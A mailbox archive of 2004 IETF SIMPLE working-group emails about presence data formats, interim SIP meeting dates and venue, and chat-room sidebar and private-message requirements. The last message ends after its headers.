	id 1B3xyb-0007NL-Uu
	for simple@optimus.ietf.org; Thu, 18 Mar 2004 08:54:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA10939
	for <simple@ietf.org>; Thu, 18 Mar 2004 08:54:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3xya-0000WB-00
	for simple@ietf.org; Thu, 18 Mar 2004 08:54:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3xxf-0000OS-00
	for simple@ietf.org; Thu, 18 Mar 2004 08:53:28 -0500
Received: from smtp011.mail.yahoo.com ([216.136.173.31])
	by ietf-mx with smtp (Exim 4.12)
	id 1B3xwu-0000HG-00
	for simple@ietf.org; Thu, 18 Mar 2004 08:52:41 -0500
Received: from unknown (HELO yahoo.com) (emil?ivov@130.79.90.54 with plain)
  by smtp011.mail.yahoo.com with SMTP; 18 Mar 2004 13:52:39 -0000
Message-ID: <4059A9AC.1080201@yahoo.com>
From: Emil Ivov <emil_ivov@yahoo.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031221 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
CC: mandre@startx.u-strasbg.fr
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] cpim-pidf+xml or pidf+xml
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 18 Mar 2004 14:52:44 +0100
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=3.4 required=5.0 tests=FORGED_YAHOO_RCVD,
	NO_RDNS_DOTCOM_HELO autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Hello,

draft-ietf-simple-presence-10.txt says:
All subscribers and notifiers MUST support the 
"application/cpim-pidf+xml" presence data format described in [6].

It seems, however, that [6] expired a while ago and what replaced it on 
the IMPP WG page is apparently: draft-ietf-impp-cpim-pidf-08.txt

Yet it doesn't say anything about application/cpim-pidf+xml and 
describes application/pidf+xml instead.

Does that mean that  application/pidf+xml is the must-be-supported data 
format and not application/cpim-pidf+xml?

Thanx
Emil

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar 22 15:26:44 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18458
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 15:26:44 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5W0S-0006Ei-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:26:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5VzV-000661-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:25:45 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Vyh-00060G-00; Mon, 22 Mar 2004 15:24:55 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Vy9-00052f-Lg; Mon, 22 Mar 2004 15:24:21 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5PiF-0001C6-1b
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 08:43:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA24048
	for <simple@ietf.org>; Mon, 22 Mar 2004 08:43:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5PiD-0002Yh-00
	for simple@ietf.org; Mon, 22 Mar 2004 08:43:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5PhF-0002PR-00
	for simple@ietf.org; Mon, 22 Mar 2004 08:42:29 -0500
Received: from kcmso1.att.com ([192.128.133.69] helo=kcmso1.proxy.att.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5PgI-0002Bn-00; Mon, 22 Mar 2004 08:41:30 -0500
Received: from attrh5i.attrh.att.com ([135.38.62.12])
	by kcmso1.proxy.att.com (AT&T IPNS/MSO-5.0) with ESMTP id i2MDE4ec014858;
	Mon, 22 Mar 2004 07:41:00 -0600
Received: from OCCLUST04EVS1.ugd.att.com (135.38.164.12) by attrh5i.attrh.att.com (6.5.032)
        id 405DCB760002D044; Mon, 22 Mar 2004 08:40:26 -0500
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-MimeOLE: Produced By Microsoft Exchange V6.0.6489.0
Message-ID: <28F05913385EAC43AF019413F674A0170814599A@OCCLUST04EVS1.ugd.att.com>
Thread-Topic: [Sip] Proposed dates for SIPish interim meetings
Thread-Index: AcQP0K/Gnkp5lOXTSeyj4rH1PCkMogAQkKdA
From: "Dolly, Martin C, ALABS" <mdolly@att.com>
To: <sipping@ietf.org>
Cc: <sip@ietf.org>, <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] RE: [Sip] Proposed dates for SIPish interim meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 07:40:59 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

Hello,

I plan on attending the proposed interim meeting, and would apprecriate
not over lapping with T1S1, May 4-6.

Thanks,

Martin

-----Original Message-----
From: sip-admin@ietf.org [mailto:sip-admin@ietf.org]On Behalf Of Dean
Willis
Sent: Monday, March 22, 2004 12:40 AM
To: sipping@ietf.org
Cc: Glenn Parsons; sip@ietf.org; simple@ietf.org
Subject: [Sip] Proposed dates for SIPish interim meetings


Please reply to the SIPPING list -- other lists copied to make sure we=20
hit everybody.

We probably need to have at least three days of interim meetings between

now and IETF 60, covering topics in SIP, SIPPING, and SIMPLE.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar 22 15:26:45 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18479
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 15:26:45 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5W0U-0006Es-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:26:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5VzW-00066I-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:25:47 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Vyh-00060H-00; Mon, 22 Mar 2004 15:24:55 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5VyU-000534-7S; Mon, 22 Mar 2004 15:24:42 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5UIB-0001pq-VC
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 13:37:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA11092
	for <simple@ietf.org>; Mon, 22 Mar 2004 13:36:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5UI8-0000mJ-00
	for simple@ietf.org; Mon, 22 Mar 2004 13:36:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5UH4-0000hK-00
	for simple@ietf.org; Mon, 22 Mar 2004 13:35:47 -0500
Received: from tiere.net.avaya.com ([198.152.12.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5UGX-0000bf-00; Mon, 22 Mar 2004 13:35:14 -0500
Received: from tiere.net.avaya.com (localhost [127.0.0.1])
	by tiere.net.avaya.com (Switch-3.1.2/Switch-3.1.0) with ESMTP id i2MIY9gL015160;
	Mon, 22 Mar 2004 13:34:10 -0500 (EST)
Received: from IS0004AVEXU1.global.avaya.com (h135-64-105-51.avaya.com [135.64.105.51])
	by tiere.net.avaya.com (Switch-3.1.2/Switch-3.1.0) with ESMTP id i2MIY6gL015070;
	Mon, 22 Mar 2004 13:34:06 -0500 (EST)
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-MIMEOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <AAB4B3D3CF0F454F98272CBE187FDE2F056B2946@is0004avexu1.global.avaya.com>
Thread-Topic: [Sip] RE: [Sipping] Proposed dates for SIPish interim meetings
Thread-Index: AcQQN6TjZtVpGUDETLyUk9NXeQleaAABKYVw
From: "Romascanu, Dan (Dan)" <dromasca@avaya.com>
To: "Kozdon, Peter" <Peter.Kozdon@icn.siemens.com>, <john.loughney@nokia.com>,
        <dean.willis@softarmor.com>, <sipping@ietf.org>
Cc: <gparsons@nortelnetworks.com>, <sip@ietf.org>, <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] RE: [Sip] RE: [Sipping] Proposed dates for SIPish interim meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 20:35:08 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

British Airways is another company that I am aware about, operating =
daily flights from London, Heathrow to Denver and return.

Regards,

Dan



> -----Original Message-----
> From: sip-admin@ietf.org [mailto:sip-admin@ietf.org]On Behalf=20
> Of Kozdon, Peter
> Sent: 22 March, 2004 7:55 PM
> To: 'john.loughney@nokia.com'; dean.willis@softarmor.com;=20
> sipping@ietf.org
> Cc: gparsons@nortelnetworks.com; sip@ietf.org; simple@ietf.org
> Subject: RE: [Sip] RE: [Sipping] Proposed dates for SIPish=20
> interim meetings
>=20
>=20
> The closest airport is Denver International (45 minutes=20
> drive)  - there is
> at least 1 direct flight from Europe (LH via Frankfurt)=20
>=20
> -----Original Message-----
> From: sip-admin@ietf.org [mailto:sip-admin@ietf.org] On Behalf Of
> john.loughney@nokia.com
> Sent: Sunday, March 21, 2004 10:13 PM
> To: dean.willis@softarmor.com; sipping@ietf.org
> Cc: gparsons@nortelnetworks.com; sip@ietf.org; simple@ietf.org
> Subject: [Sip] RE: [Sipping] Proposed dates for SIPish=20
> interim meetings
>=20
> Dean,
>=20
> > As I understand it, the leading candidate for venue is the=20
> Boulderama=20
> > in Boulder, Colorado. Rohan's current proposal is to ask=20
> each attendee=20
> > to contribute $50 toward meeting fees (princiaplly, renting=20
> the room).=20
> > Of course, if somebody wants to sponsor the meeting and pick up the
>=20
> Is there an option of someone hosting the meeting?  This is probably
> easier to do than finding someone to foot the bill.  =09
>=20
> Also, Boulder is 3 to 4 hops away from Europe, which seems=20
> sub-optimal ...
>=20
> John
>=20
>=20
> _______________________________________________
> Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol Use
> sip-implementors@cs.columbia.edu for questions on current sip Use
> sipping@ietf.org for new developments on the application of sip
>=20
> _______________________________________________
> Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol
> Use sip-implementors@cs.columbia.edu for questions on current sip
> Use sipping@ietf.org for new developments on the application of sip
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar 22 15:26:46 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18485
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 15:26:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5W0V-0006F2-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:26:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5VzY-00066X-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:25:49 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Vyh-00060I-00; Mon, 22 Mar 2004 15:24:55 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5VxU-0004f0-JR; Mon, 22 Mar 2004 15:23:40 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4Om9-0004kl-Rq
	for simple@optimus.ietf.org; Fri, 19 Mar 2004 13:31:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14277
	for <simple@ietf.org>; Fri, 19 Mar 2004 13:31:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4Om7-0002Q9-00
	for simple@ietf.org; Fri, 19 Mar 2004 13:31:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B4OlC-0002Lu-00
	for simple@ietf.org; Fri, 19 Mar 2004 13:30:23 -0500
Received: from omzesmtp03.mci.com ([199.249.17.11])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4OkH-0002DS-00; Fri, 19 Mar 2004 13:29:25 -0500
Received: from pmismtp02.wcomnet.com ([166.38.62.37])
 by firewall.mci.com (Iplanet MTA 5.2)
 with ESMTP id <0HUU0004X5NM2Y@firewall.mci.com>; Fri,
 19 Mar 2004 18:21:22 +0000 (GMT)
Received: from pmismtp02.wcomnet.com by pmismtp02.mcilink.com
 (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
 with SMTP id <0HUU000015NLN4@pmismtp02.mcilink.com>; Fri,
 19 Mar 2004 18:21:21 +0000 (GMT)
Received: from XS578V7033521.mci.com ([166.50.113.70])
 by pmismtp02.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar
 18 2003)) with ESMTP id <0HUU0000Y5NJKT@pmismtp02.mcilink.com>; Fri,
 19 Mar 2004 18:21:21 +0000 (GMT)
From: Alan Johnston <alan.johnston@mci.com>
X-Sender: Alan.Johnston@pop.mcit.com
To: "Rosen, Brian" <Brian.Rosen@marconi.com>,
        "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
Message-id: <5.2.1.1.0.20040319121725.02eb0ad0@pop.mcit.com>
MIME-version: 1.0
X-Mailer: QUALCOMM Windows Eudora Version 5.2.1
Content-type: text/plain; charset=us-ascii; format=flowed
Subject: [Simple] RE: Chat sessions
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 19 Mar 2004 12:21:18 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

As a result of this thread, in Korea, a group of us (roughly myself, Brian, 
Hisham, Aki, Paul, Markus - apologies to others who I might have forgotten) 
met to discuss "chat rooms" and text conferencing.

Here is what the consensus of the participants was:

There is a need to document aspects of "chat rooms" or text
conferencing.

There seems to be a need to have a request/response kind of
subset of conferencing (sidebar) AS WELL AS an immediate
no request/response subset of conferencing (private message /
whisper).  This need is not specific to media, although the
exact mechanism to establish it might be media dependent.
Media Policy is a media independent mechanism, but others
may be more appropriate, especially for IM.  This work
will at least begin in XCON.

In addition, the absence of an ability to express a nickname
in SIP was identified as an area for future SIP work.

Thanks,
Alan Johnston
MCI
sip:alan@sipstation.com

At 08:07 PM 3/2/2004 -0500, Rosen, Brian wrote:
>How are we going to resolve this?
>
>Most of us are here.  Can we get together?
>
>Brian
>
> > -----Original Message-----
> > From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> > Sent: Tuesday, March 02, 2004 6:44 PM
> > To: Niemi Aki (Nokia-M/Espoo)
> > Cc: ext Rosen, Brian; ext Jonathan Rosenberg;
> > Markus.Isomaki@nokia.com;
> > hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;
> > simple@ietf.org
> > Subject: Re: [Simple] Chat sessions
> >
> >
> >
> >
> > Niemi Aki (Nokia-M/Espoo) wrote:
> > >
> > >>> Of course you can't do private messages with voice. Voice
> > and IM are
> > >>> inherently different. You can't send private voice
> > packets to another
> > >>> participant of a conference, simply because there isn't a way to
> > >>> single out a participant in a conference by directly addressing
> > >>> packets there. It also makes mixing really complicated, because a
> > >>> private voice stream might overlap with the rest of the
> > conference.
> > >>> These don't present a problem for IM; the sender can
> > single out the
> > >>> recipient using the cpim To header field and the recipient UA can
> > >>> simply mark a message as private and render it to the
> > same UI as the
> > >>> rest of the IMs in that conference.
> > >>
> > >> I protest.  There is no logical difference.  There is no protocol
> > >> difference.  In most cases, there is no practical difference.  You
> > >> send media to some address, you get media from some address.  You
> > >> render it.  IM or voice or video is all just media, and its handled
> > >> the same way.  You might have "centralized" or
> > "distributed" mixers.
> > >> Most IM systems, as implemented, are centralized mixers.  You send
> > >> all media to the mixer, it sends media to you.  There is nothing
> > >> special with IM.  You need some signaling for a private message.
> > >> You can use the same signaling for a sidebar or a whisper.
> > >
> > > Hmm.. which systems are these? The ones I've used have both private
> > > messages *and* sidebars.
> >
> > It seems that in principle the difference between sidebars
> > and private
> > messages is simply one of UI design. A particular client
> > could support
> > one or the other, or both.
> >
> > But you also seem to require that the initiator be able to
> > choose which
> > user experience the recipients will have. That turns it into
> > a protocol
> > issue. In general I would consider this a bad idea. But it is
> > largely a
> > human factors issue, and I don't feel qualified to comment on
> > it except
> > from the perspective of personal preference. But it seems that whole
> > discussion hinges on whether there is a valid requirement for giving
> > senders that degree of control over recipients.
> >
> >       Paul
> >
>
>_______________________________________________
>Simple mailing list
>Simple@ietf.org
>https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar 22 15:26:48 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18506
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 15:26:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5W0W-0006FC-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:26:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Vza-00066m-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:25:50 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Vyh-00060J-00; Mon, 22 Mar 2004 15:24:55 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Vxp-0004w0-5r; Mon, 22 Mar 2004 15:24:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5IiT-0000Wl-JB
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 01:15:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA22194
	for <simple@ietf.org>; Mon, 22 Mar 2004 01:15:15 -0500 (EST)
From: john.loughney@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5IiQ-00013x-00
	for simple@ietf.org; Mon, 22 Mar 2004 01:15:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5IhZ-0000y9-00
	for simple@ietf.org; Mon, 22 Mar 2004 01:14:21 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Igu-0000sF-00; Mon, 22 Mar 2004 01:13:40 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2M6DWa00638;
	Mon, 22 Mar 2004 08:13:33 +0200 (EET)
X-Scanned: Mon, 22 Mar 2004 08:12:52 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i2M6Cq6b029537;
	Mon, 22 Mar 2004 08:12:52 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 00sFIAxO; Mon, 22 Mar 2004 08:12:50 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2M6CoF24951;
	Mon, 22 Mar 2004 08:12:50 +0200 (EET)
Received: from esebe023.NOE.Nokia.com ([172.21.138.115]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 22 Mar 2004 08:12:50 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <DADF50F5EC506B41A0F375ABEB320636D44C81@esebe023.ntc.nokia.com>
Thread-Topic: [Sipping] Proposed dates for SIPish interim meetings
Thread-Index: AcQP0JavsE9u3JRIR/uMImRMIVWINwAA3svQ
To: <dean.willis@softarmor.com>, <sipping@ietf.org>
Cc: <gparsons@nortelnetworks.com>, <sip@ietf.org>, <simple@ietf.org>
X-OriginalArrivalTime: 22 Mar 2004 06:12:50.0621 (UTC) FILETIME=[B4559ED0:01C40FD4]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] RE: [Sipping] Proposed dates for SIPish interim meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 08:12:50 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Dean,

> As I understand it, the leading candidate for venue is the Boulderama =
in=20
> Boulder, Colorado. Rohan's current proposal is to ask each attendee to =

> contribute $50 toward meeting fees (princiaplly, renting the room). Of =

> course, if somebody wants to sponsor the meeting and pick up the

Is there an option of someone hosting the meeting?  This is probably
easier to do than finding someone to foot the bill.  =09

Also, Boulder is 3 to 4 hops away from Europe, which seems sub-optimal =
...

John


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar 22 15:26:49 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA18542
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 15:26:49 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5W0Y-0006FM-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:26:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Vzb-000671-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 15:25:52 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Vyh-00060P-00; Mon, 22 Mar 2004 15:24:55 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Vyh-00054j-LA; Mon, 22 Mar 2004 15:24:55 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Uqs-0004sI-Jq
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 14:12:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA13340
	for <simple@ietf.org>; Mon, 22 Mar 2004 14:12:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Uqq-0005Mm-00
	for simple@ietf.org; Mon, 22 Mar 2004 14:12:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Upu-0005H3-00
	for simple@ietf.org; Mon, 22 Mar 2004 14:11:47 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5UpM-000597-00; Mon, 22 Mar 2004 14:11:12 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-2.cisco.com with ESMTP; 22 Mar 2004 11:15:22 +0000
Received: from wells.cisco.com (wells.cisco.com [171.71.177.223])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i2MJAbaD002631;
	Mon, 22 Mar 2004 11:10:38 -0800 (PST)
Received: from jmpolk-w2k01.diablo.cisco.com (ssh-sjc-1.cisco.com [171.68.225.134]) by wells.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id LAA01726; Mon, 22 Mar 2004 11:10:36 -0800 (PST)
Message-Id: <4.3.2.7.2.20040322130812.02701008@localhost>
X-Sender: jmpolk@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
To: <sipping@ietf.org>
